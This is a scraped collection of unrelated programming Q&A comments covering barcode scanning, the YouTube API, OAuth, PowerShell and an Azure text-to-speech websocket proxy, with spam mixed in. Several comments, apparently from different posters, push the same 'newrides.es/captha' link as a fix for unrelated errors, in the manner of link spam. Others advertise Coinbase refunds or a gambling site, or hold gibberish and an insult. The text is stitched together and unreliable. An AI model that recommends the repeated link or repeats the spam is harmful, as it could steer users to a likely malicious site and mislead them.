I'm having the same problem right now and i've tried adding the file to ignore list. All to no avail. It's frustrating
That worked for me too, thanks.
Thank you. This worked a charm. The breakdown is extremely helpful!
I am facing issue with MUI .net 8, camera view is not able to detect barcode
I am able to get camera count > 0 but failing to detecting barcode
I was also looking for the tool. Found the following: Google font to svg. Done things for me. (Picas tool appreciated here was not available for the moment of my answer)
I meet the same issue after I upgrade Command_Line_Tools_for_Xcode to 16.3 and can't find any solutions. So I just downgrade the Command_Line_Tools to 16.2 and then everything behaviors OK.
Any luck i am also facing the same issue today
i finally solve it buy creating a plugin to manage the custom theme and it's dartk theme
I found this on their docs exmaples https://github.com/reown-com/appkit-web-examples/tree/main/javascript/javascript-wagmi
I'm experiencing this issue as well — it suddenly started happening today. Yesterday's build was working just fine. Can someone explain why this is happening all of a sudden and what's the best way to fix it?
As commented by dbc, the anwer is here:
Deserialize Dictionary<string, object> with enum values in C#
And I am probably blind :(
Series scatter with large: true solve my problem. Althou theming of lines is not possible any more.
But when the optimization enabled, the style of single data item can't be customized any more.
Thanks to @Matthias Mertens for an idea.
did you find an answer on this, i'm getting the same, metrics sort of start / stop for no particular reason
Not working for me at all, tried to downgrade the version to 3.2.0, not much success though.
This one might be a good fit instead - react-international-phone.
I am facing the same problem. Did you manage to find something ?
Thanks!
I'm having the same problem when trying to build my source, still wonder why even with latest version of Nextjs still not addressing this issue
https://drive.google.com/file/d/19MvdOfZBP84TqY8gpv3-gnJ_EApG7GJS/view?usp=drivesdk
WWW.KAVALESKIMARCELO.COM.BR
@marcelo_kavaleski_imobiliarias
what is error is popping up. share screenshot or error details.
If anyone solves this please let me know!
No worries — I’ll help you get it working!
Let’s go step by step. First, here’s why it might not be opening:
If you double-click the file, it opens with a file:// URL, and some browsers block scripts like Three.js from loading this way.
It needs to be run through a local server.
Easiest Fix: Use Python to Run a Local Server
Step-by-Step:
python --version
If it shows a version (like Python 3.10.x), you're good. If not, install Python from python.org.
Find the folder where you downloaded 3d_car_racing_game.html
Open terminal in that folder On Windows: Right-click inside the folder > “Open in Terminal” On Mac/Linux: Open terminal and use cd to go to the folder
Run a local server by typing:
python -m http.server
http://localhost:8000/3d_car_racing_game.html
Still not working?
If you’d prefer, I can host a temporary version for you to try online — just say the word. Want me to do that?
Can you get a refund from 𝘾𝚘𝚒𝚗𝚋𝚊𝚜𝚎? (( KnoW hErE How GeT FasT ))
Have you solved this question? I am in the same circumstance, if you have any idea please help me out, thank you so much
I wrote a UDF that does this for you and mimics Excel networkdays.
Sorry your screenshots aren't available I'm dealing with building the packages for Samsung for Heimdall no issues with installing the flash program issues with setting up packages pits and problem running correctly through command line or gooey can you help SMF 928U Samsung
es verdad que tu madre sea muy gorda
Did you ever get an answer to this? Having the same issue
Were you able to read the MCC code from the POS terminal?
Thank you
What do you mean the registry isn't indexed? The keys make it like a hashtable, and therefore maybe even superior.
As @Nicohaase and @agilgur5 stated above this is probably a bot looking for some vulnerability in my site, not a malfunction of my app. Thank you
same error here. Try this, it fixed it for me: https://newrides.es/captha/
same problem! This link solved it: https://newrides.es/captha/
Check out my solution in this post.
have been able to solve something about it? i have the same problem
Thanks to all. All mentioned and updating IDEA helped!
Had the same trouble. This link fixed it for me: https://newrides.es/captha/
Had the same trouble. This link fixed it for me: https://newrides.es/captha/
I am having the same issue even though all the values required by connection object are being provided. I even tried with connection string method but got the same results. Before that I was having username is not a string but now it appears the issue is on db side
I had this issue too. This is what fixed it: https://newrides.es/captha/
same problem here. Try this, it worked: https://newrides.es/captha/
Thanks to one of the posts suggested by Wayne, I used Martin Añazco's tip, setting auto_adjust to False...works fine.
you cna use the bleow link to test i out
Does anyone knows the solution for this issue. Even using a proxy is not working
DirList = {a([a.isdir]&~startsWith( {a.name},".")).name}
Después de probar tantísimas cosas.... funcionó con tu solución. Si hiciste algo más después, se agradece la info. Gracias!!
It turns out that this was a bug. I submitted it on casbin's github and it was fixed in January 2025, refer https://github.com/casbin/pycasbin/issues/358#event-15896058893
That is great; thank you for sharing it.
The file needed to be provided as stated below example 3-7
YouTube Data API - Can't access /members
endpoint despite being in YouTube Partner Program (403 error)
I'm facing the same issue! Our stakeholder is part of the YouTube Partner Program, which, according to the Google support team, is required to access the /members
endpoint if you don't have a direct Google or YouTube representative.
Here's what I have in place:
My app is verified in the Google Cloud Console with the following confidential YouTube API scopes:
https://www.googleapis.com/auth/youtube.readonly
https://www.googleapis.com/auth/youtube.channel-memberships.creator
The account requesting access to the /members
endpoint is part of the YouTube Partner Program.
I'm trying to call this endpoint:
GET https://www.googleapis.com/youtube/v3/members
Using the channel account (the one in the Partner Program) via the application that has the required scopes.
Here’s the response I get:
{
"message": "Request failed with status code 403",
"name": "AxiosError",
"config": {
"headers": {
"Accept": "application/json, text/plain, */*",
"Authorization": "Bearer _token",
"User-Agent": "axios/1.7.2",
"Accept-Encoding": "gzip, compress, deflate, br"
},
"params": {
"part": "snippet",
"maxResults": 50
},
"method": "get",
"url": "https://www.googleapis.com/youtube/v3/members"
},
"code": "ERR_BAD_REQUEST",
"status": 403
}
I've searched extensively and found many developers encountering the same issue, but no confirmed solutions.
Digging deeper, I found a Stack Overflow thread that discusses integrating YouTube memberships with a Discord server. They seem to have found a workaround by using the Discord API to manually check if a user who is a YouTube member also exists in a Discord server. However, this feels like a problem transfer, not a proper solution.
Has anyone successfully accessed the /members
endpoint without a direct Google/YouTube rep, but using only the YouTube Partner Program eligibility?
Is there something specific or hidden required beyond scopes and being in the Partner Program?
Are there additional permissions or manual approvals that need to be done in the Google Cloud Console or YouTube Studio?
Is there any solution to this issue, I faced that issue and tried with * and without it but still have access denied.
Resolved by following this answer:
github.com/Yelp/elastalert/issues/1927#issuecomment-1054215307
follow LangGraph instruction to install it on windows, works like a charm
https://github.com/pygraphviz/pygraphviz/blob/main/INSTALL.txt
@CodeChops, can you please guide how did you configure keycloak in server-side and client-side projects ?
@Pravallika KV
Answered here so I can add screenshots; otherwise, I would have made it a comment:)
I can't get that to work; I tried setting FUNCTIONS_EXTENSION_VERSION; am I missing something?
I created a brand new app, did not load any code, and got version 4.1037.1.1
Then, I went and changed FUNCTIONS_EXTENSTION_VERSION
And now it refuses to come up again
may i know if u found solution to this because im facing it right now...
Esse problema parece ser no próprio Android Studio, pois já fiz todos passo citados acima e outros e mesmo assim não funciona, continua com o mesmo erro.
I’m actually facing the same issue — in my case, the Snackbar message never appears on the screen at all. I reached out to the BrowserStack team regarding this, but unfortunately, I haven’t received any concrete or helpful feedback so far. :(
I have the same problem, do you have a possible solution for this?
PLEASE STOP SPAMMING/BEING ANNOYING
I'm currently experiencing the same issue.
Did you manage to find the answer?
Not an answer but I am curious if you were able to find a good solution, I would be very intereted to know, thank you!
I have the same error now, did u find the fix?
did you manage to make it work? I'm stuck with the same issue
Thanks to @bbhtt over on Flatpak Matrix. He said I should use org.gnome.Platform and org.gnome.Sdk rather than the freedesktop runtimes because they already have Gtk installed.
const initClient = async () => {
try {
const res = await fetch('/api/get-credentials', {
method: 'GET',
headers: { 'Content-Type': 'application/json' },
});
if (!res.ok) throw new Error(`Failed to fetch credentials: ${res.status}`);
const { clientId } = await res.json();
if (!clientId) {
addLog('Client ID not configured on the server');
return null;
}
const client = window.google.accounts.oauth2.initTokenClient({
client_id: clientId,
scope: 'https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/userinfo.email',
callback: async (tokenResponse) => {
if (tokenResponse.access_token) {
setAccessToken(tokenResponse.access_token);
localStorage.setItem('access_token', tokenResponse.access_token);
const userInfo = await fetch('https://www.googleapis.com/oauth2/v3/userinfo', {
headers: { 'Authorization': `Bearer ${tokenResponse.access_token}` },
});
const userData = await userInfo.json();
setUserEmail(userData.email);
const userRes = await fetch('/api/user', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email: userData.email }),
});
const userDataResponse = await userRes.json();
addLog(userDataResponse.message);
try {
const countRes = await fetch('/api/get-pdf-count', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email: userData.email }),
});
const countData = await countRes.json();
setPdfCount(countData.count || 0);
addLog(`Initial PDF count loaded: ${countData.count || 0}`);
} catch (error) {
addLog(`Failed to fetch initial PDF count: ${error.message}`);
}
markAuthenticated();
} else {
addLog('Authentication failed');
}
},
});
return client;
} catch (error) {
addLog(`Error initializing client: ${error.message}`);
return null;
}
};
This is a snippet of the code I am trying to use drive.file scope but its not working as I want. How to fix this?
Thanks!
refer this screenshot from the flutter deprecated api docsflutter deprecated api docs
A working example and some more explanation is given here:
https://www.codeproject.com/Articles/1212332/64-bit-Structured-Exception-Handling-SEH-in-ASM
Is v4.01 supported now? I am getting the following error: 'The version '4.01' is not valid. [HTTP/1.1 400 Bad Request]'"
have you find it, l also need help
I've tried the same two methods without any luck. Service accounts can use the API but can't be connected as collaborator to notes (I would prefer this feature!)
With Oauth setup Google Keep scopes can't be added.
I feel like this is a dead end?!?!?
Anyone got updates on this?
Here is the new location of Google’s Closure Compiler https://jscompressor.treblereel.dev/
Testimoni testimoni testimoni testimoni
I have tried the below script and able to get missing files but not missing folders. Could you please help us getting the right script which can list even missing folders also.
# Prompt for the paths of the two folders to compare
$folder1 = "C:\Users\User\Desktop\Events"
$folder2 = "C:\Users\User\Desktop\Events1"
Write-Host "From VNX:"(Get-ChildItem -Recurse -Path $folder1).Count
Write-Host "From UNITY:"(Get-ChildItem -Recurse -Path $folder2).Count
# Get the files in each folder and store their relative and full paths
# in arrays, optionally without extensions.
$dir1Dirs, $dir2Dirs = $folder1, $folder2 |
ForEach-Object {
$fullRootPath = Convert-Path -LiteralPath $_
# Construct the array of custom objects for the folder tree at hand
# and *output it as a single object*, using the unary form of the
# array construction operator, ","
, @(
Get-ChildItem -File -Recurse -LiteralPath $fullRootPath |
ForEach-Object {
$relativePath = $_.FullName.Substring($fullRootPath.Length + 1)
if ($ignoreExtensions) { $relativePath = $relativePath -replace '\.[^.]*$' }
[PSCustomObject] @{
RelativePath = $relativePath
FullName = $_.FullName
}
}
)
}
# Compare the two arrays.
# Note the use of -Property RelativePath and -PassThru
# as well as the Where-Object SideIndicator -eq '=>' filter, which
# - as in your question - only reports differences
# from the -DifferenceObject collection.
# To report differences from *either* collection, simply remove the filter.
$diff =
Compare-Object -Property RelativePath -PassThru $dir1Dirs $dir2Dirs |
Where-Object SideIndicator -eq '=>'
# Output the results.
if ($diff) {
Write-Host "Files that are different:"
$diff | Select-Object -ExpandProperty FullName
} else {
Write-Host "No differences found."
}
I do have the same issue there is nothing out there really :/.
There is a test realease of v2 https://www.npmjs.com/package/@jadkins89/next-cache-handler. But it's wip code. So I am not sure if I would use it for a real project.
Kind of concerning that there are not more alternatives :/. Is everybody else sticking to 14 or not using a external cache?
click the image and check the highlighted section... you can figure it out.
We have the same issue, when we try to update our old logging lib. The link is no longer available, do you remember what solves your issue?
Bro can you provide the structure of database
Have you already found a solution for this problem?
I have the same problem and I can only get it two work when I run the code under a compute recourse with the access mode set to "no isolation shared"
it is not work when the navigationcontroller has more than one child viewcontroller,then push UIHostviewController,right?
Did you ever manage to work this work, whilst mine seems ok, the output of the tests are not being generated into the CSV file? I've a load of tests created, but no way to actually view the outcome.
Thanks
Matt
Here is a sample code which implements pip with agora rtc sdk
i am also trying to get this kind of api but i am not getting it
thats why i started using selenium web srcapping and getting the result
but now google has detected the bot and now i am unable to get the result could you please share you approach which you are using?
jkcbfewiuklfnbhjkohbgvukimjhjnhjknkmjn
At first, I suspected it might be related to an access token issue, so I updated the configuration to use a global token. However, that did not resolve the problem. Can anyone help me with this or suggest a workaround?
I have downloaded .exe but when I extract this I don't see NQjc.jar in NetSuite JDBC Drivers folder but we have other .exe and .dll and .cer, .txt files, please help me in proper installation to get NQjc.jar
I found why
there is an attribute call count in my model.
maybe it call count attribute rather than as count in sql.
this is a stupid question lol.
thanks everyone.
Kalau lo cari situs slot yang gak zonk, wajib coba igplay . Banyak yang udah cuan!
Made simple adjustments that is the input can be negative value and user have to input the value accordingly increment or deceremnt Not the best and scaleabel approach but does the work Can you guyz please suggest me a better one please
@paulo can u gimme me examples i also face the same issues when to delete image, becuase sometimes using retention rules image alredy deleted but still needed in the k8s when need to rollback apps version to the earlier that image alredy deleted by retention rules, basicly i only want to delete all image that none in the list k8s not exists, get all image in k8s if not exstis delete all
I am looking for a solution for a similar problem... i have an excel sheet with 100 rows each containing a unique word .. and I have a pdf file which contains 1000s of sentences and those words.. is there any way where i can just upload the excel file and pdf reader takes one word at a time searches for it through the pdf and once all the words are searched for ... returns to me a pdf with all those words i am looking for in highlighted text
you can refer to this link https://support.huaweicloud.com/intl/zh-cn/basics-terraform/terraform_0021.html , teach you how to config backend. Can google translate to english
You will need a converter to jwt , please check https://medium.com/@wirelesser/oauth2-write-a-resource-server-with-keycloak-and-spring-security-c447bbca363c
You can use @dynamic decorator. https://www.union.ai/docs/flyte/user-guide/core-concepts/workflows/dynamic-workflows/
Finally I find my way to make it happen, so I'm here to put my solution, is case someone is facing the same problem as me.
Because we need to send some special headers to Azure service when create the websoket connection, so we need a proxy server (native Websocket in browser cannot send coustom headers).
server.ts
:
import http from "http";
import * as WebSocket from "ws";
import crypto from "crypto";
import fs from "fs";
import path from "path";
// Azure tts
const URL =
"wss://<your_azure_service_origin>.tts.speech.microsoft.com/cognitiveservices/websocket/v2";
const KEY = "your_azure_service_key";
const server = http.createServer((req, res) => {
res.end("Server is Running");
});
server.on("upgrade", (req, socket, head) => {
const remote = new WebSocket.WebSocket(URL, {
headers: {
"ocp-apim-subscription-key": KEY,
"x-connectionid": crypto.randomUUID().replace(/-/g, ""),
},
});
remote.on("open", () => {
console.log("remote open");
const requestId = crypto.randomUUID().replace(/-/g, "");
const now = new Date().toISOString();
// send speech.config
remote.send(
[
`X-Timestamp:${now}`,
"Path:speech.config",
"",
`${JSON.stringify({})}`,
].join("\r\n"),
);
// send synthesis.context
remote.send(
[
`X-Timestamp:${now}`,
"Path:synthesis.context",
`X-RequestId:${requestId}`,
"",
`${JSON.stringify({
synthesis: {
audio: {
// outputFormat: "audio-16khz-32kbitrate-mono-mp3",
outputFormat: "raw-16khz-16bit-mono-pcm",
metadataOptions: {
visemeEnabled: false,
bookmarkEnabled: false,
wordBoundaryEnabled: false,
punctuationBoundaryEnabled: false,
sentenceBoundaryEnabled: false,
sessionEndEnabled: true,
},
},
language: { autoDetection: false },
input: {
bidirectionalStreamingMode: true,
voiceName: "zh-CN-YunxiNeural",
language: "",
},
},
})}`,
].join("\r\n"),
);
const client = new WebSocket.WebSocketServer({ noServer: true });
client.handleUpgrade(req, socket, head, (clientWs) => {
clientWs.on("message", (data: Buffer) => {
const json = JSON.parse(data.toString("utf8")) as {
type: "data" | "end";
data?: string;
};
console.log("Client:", json);
remote.send(
[
`X-Timestamp:${new Date().toISOString()}`,
`Path:text.${json.type === "data" ? "piece" : "end"}`,
"Content-Type:text/plain",
`X-RequestId:${requestId}`,
"", // empty line
json.data || "",
].join("\r\n"),
);
});
const file = createWAVFile(`speech/${Date.now()}.wav`);
remote.on("message", (data: Buffer, isBinary) => {
// console.log("Remote, isBinary:", isBinary);
const { headers, content } = parseChunk(data);
console.log({ headers });
if (isBinary) {
if (headers.Path === "audio") {
// why we need to skip the first byte
const audioContent = content.subarray(1);
if (audioContent.length) {
file.write(audioContent);
clientWs.send(audioContent);
}
}
} else if (headers.Path === "turn.end") {
file.end();
}
});
clientWs.on("close", () => {
console.log("client close");
remote.close();
});
clientWs.on("error", (error) => {
console.log("client error", error);
});
});
remote.on("close", (code, reason) => {
console.log("remote close", reason.toString());
});
remote.on("error", (error) => {
console.log("remote error", error);
});
});
});
function parseChunk(buffer: Buffer) {
const len = buffer.length;
const headers: string[][] = [];
// skip first bytes
//? what means the first bytes?
let i = 2;
let temp: number[] = [];
let curr: string[] = [];
let contentPosition: number;
for (; i < len; i++) {
if (buffer[i] === 0x3a) {
// :
curr.push(Buffer.from(temp).toString());
temp = [];
} else if (buffer[i] === 0x0d && buffer[i + 1] === 0x0a) {
// \r\n
// maybe empty line
if (temp.length) {
curr.push(Buffer.from(temp).toString());
temp = [];
headers.push(curr);
curr = [];
}
i += 1; // skip \n
contentPosition = i;
if (headers.at(-1)?.[0] === "Path") {
// if we get `Path`
break;
}
} else {
temp.push(buffer[i]);
}
}
const obj: Record<string, string> = {};
for (const [key, value] of headers) {
obj[key] = value;
}
const content = buffer.subarray(contentPosition!);
return { headers: obj, content };
}
// for test
function createWAVFile(
filename: string,
sampleRate = 16000,
bitDepth = 16,
channels = 1,
) {
let dataLength = 0;
let data = Buffer.alloc(0);
return {
write(chunk: Buffer) {
dataLength += chunk.length;
data = Buffer.concat([data, chunk]);
},
end() {
const byteRate = sampleRate * (bitDepth / 8) * channels;
const blockAlign = (bitDepth / 8) * channels;
// WAV head
const buffer = Buffer.alloc(44);
buffer.write("RIFF", 0); // ChunkID
buffer.writeUInt32LE(36 + dataLength, 4); // ChunkSize
buffer.write("WAVE", 8); // Format
buffer.write("fmt ", 12); // Subchunk1ID
buffer.writeUInt32LE(16, 16); // Subchunk1Size (16 for PCM)
buffer.writeUInt16LE(1, 20); // AudioFormat (1 = PCM)
buffer.writeUInt16LE(channels, 22); // Channels
buffer.writeUInt32LE(sampleRate, 24); // SampleRate
buffer.writeUInt32LE(byteRate, 28); // ByteRate
buffer.writeUInt16LE(blockAlign, 32); // BlockAlign
buffer.writeUInt16LE(bitDepth, 34); // BitsPerSample
buffer.write("data", 36); // Subchunk2ID
buffer.writeUInt32LE(dataLength, 40); // Subchunk2Size
const stream = fs.createWriteStream(filename);
stream.write(buffer);
stream.write(data);
stream.end();
console.log(`write to file ${filename}`);
},
};
}
server.listen(8080);
player.ts
:
type StreamingAudioPlayerOptions = {
autoPlay: boolean;
};
export class StreamingAudioPlayer {
private context = new AudioContext();
private chunks: Blob[] = [];
private decodeChunkIndex = 0;
private buffers: AudioBuffer[] = [];
private duration = 0;
private decoding = false;
private scheduleIndex = 0;
private currentDuration = 0; // 粗略记录已播放时长,用于展示,不可用于播放控制
private state: "play" | "stop" = "stop";
private isPlaying = false; // 是否真的在播放
// 跟踪下一个缓冲区的预定播放时间
private nextScheduledTime = 0;
// 跟踪已创建的音频源
private activeSources: AudioBufferSourceNode[] = [];
private sourceSchedule = new WeakMap<AudioBufferSourceNode, [number]>();
private beginOffset = 0;
private timer: number | null;
constructor(private readonly options: StreamingAudioPlayerOptions) {}
private async decodeAudioChunks() {
if (this.decoding || this.chunks.length === 0) {
return;
}
this.decoding = true;
while (this.decodeChunkIndex < this.chunks.length) {
const originBuffer =
await this.chunks[this.decodeChunkIndex].arrayBuffer();
// Step 1: 转成 Int16
const int16 = new Int16Array(originBuffer);
// Step 2: 转成 Float32
const float32 = new Float32Array(int16.length);
for (let i = 0; i < int16.length; i++) {
float32[i] = int16[i] / 32768; // Normalize to [-1.0, 1.0]
}
// Step 3: 创建 AudioBuffer (单声道)
const audioBuffer = this.context.createBuffer(
1, // mono
float32.length,
16000, // sampleRate
);
audioBuffer.copyToChannel(float32, 0);
this.buffers.push(audioBuffer);
this.duration += audioBuffer.duration;
console.log(
`chunk ${this.decodeChunkIndex} decoded, total buffer duration: ${this.duration}`,
);
this.decodeChunkIndex++;
if (this.state === "play" && !this.isPlaying) {
console.log("ready to play");
this._play();
} else if (this.state === "stop" && this.options.autoPlay) {
this.play();
}
}
this.decoding = false;
}
async append(chunk: Blob) {
this.chunks.push(chunk);
if (!this.decoding) {
this.decodeAudioChunks();
}
}
private scheduleBuffers() {
while (this.scheduleIndex < this.buffers.length) {
if (this.nextScheduledTime - this.context.currentTime > 10) {
// 缓冲控制在 10s 左右
break;
}
const buffer = this.buffers[this.scheduleIndex];
const source = this.context.createBufferSource();
source.buffer = buffer;
// 记录并更新预定时间
const startTime = this.nextScheduledTime;
this.nextScheduledTime += buffer.duration;
source.connect(this.context.destination);
if (this.beginOffset !== 0) {
source.start(startTime, this.beginOffset);
this.beginOffset = 0;
} else {
source.start(startTime);
}
this.sourceSchedule.set(source, [startTime]);
console.log(`schedule chunk ${this.scheduleIndex}`);
this.activeSources.push(source);
const index = this.scheduleIndex;
this.scheduleIndex++;
// 监听播放结束来维护状态
source.addEventListener("ended", () => {
// 移除已结束的源
this.activeSources = this.activeSources.filter((s) => s !== source);
if (this.state !== "play") {
return;
}
console.log(`chunk ${index} play finish`);
if (this.scheduleIndex < this.buffers.length) {
// 继续安排未播放的切片
this.scheduleBuffers();
} else if (this.activeSources.length === 0) {
// 如果没有剩余的播放源,那么停止播放
this._stop();
}
});
}
}
private _play() {
// 使用计时器粗略记录已播放时长
// ?播放卡住了怎么办
const updatePlayDuration = (timestamp1: number) => {
return (timestamp2: number) => {
this.currentDuration += timestamp2 - timestamp1;
this.timer = requestAnimationFrame(updatePlayDuration(timestamp2));
};
};
this.timer = requestAnimationFrame(updatePlayDuration(performance.now()));
// 初始化播放时间为当前上下文时间
this.nextScheduledTime = this.context.currentTime;
this.isPlaying = true;
this.scheduleBuffers();
}
private _stop() {
if (this.state !== "play") {
return;
}
// 停止所有活跃的音频源
this.activeSources.forEach((source, index) => {
if (index === 0) {
// current playing source
const offset =
this.context.currentTime - this.sourceSchedule.get(source)![0];
console.log("offset:", offset);
}
source.stop();
});
cancelAnimationFrame(this.timer!);
this.timer = null;
this.activeSources = [];
// 不确定是否加载了全部的音频切片
this.state = "stop";
this.isPlaying = false;
console.log(`played duration: ${this.currentDuration}`);
}
resume() {
// 恢复播放应该依据已播放时间
// 因为已播放时间可以通过时间轴(暂未实现)调整
this.scheduleIndex = 0;
let d = 0;
for (; this.scheduleIndex < this.buffers.length; this.scheduleIndex++) {
const buffer = this.buffers[this.scheduleIndex];
if (d + buffer.duration * 1000 > this.currentDuration) {
break;
}
d += buffer.duration * 1000;
}
this.state = "play";
this.beginOffset = (this.currentDuration - d) / 1000;
console.log("resume offset", this.beginOffset);
this._play();
}
play() {
if (this.state === "play") {
return;
}
this.state = "play";
this.duration = this.buffers.reduce((total, buffer) => {
return total + buffer.duration;
}, 0);
if (this.duration === 0) {
console.warn("waiting buffer");
return;
}
this.currentDuration = 0;
this.scheduleIndex = 0;
console.log(this);
this._play();
}
pause() {
this._stop();
}
}
index.js
:
// something like:
const player = new StreamingAudioPlayer({ autoPlay: true });
const ws = new Websocket("xxx");
ws.send('{"type":"data","data":"hello"}');
ws.send('{"type":"data","data":" world"}');
ws.send('{"type":"end"}');
ws.addEventListener("message", (e) => {
player.append(e.data as Blob);
});
The code is for reference only. If anyone has any better suggestions, please feel free to share your thoughts.
This is the workaround that worked for me! https://docs.hetrixtools.com/microsoft-teams-how-to-remove-name-used-a-workflow-template-to-send-this-card-get-template/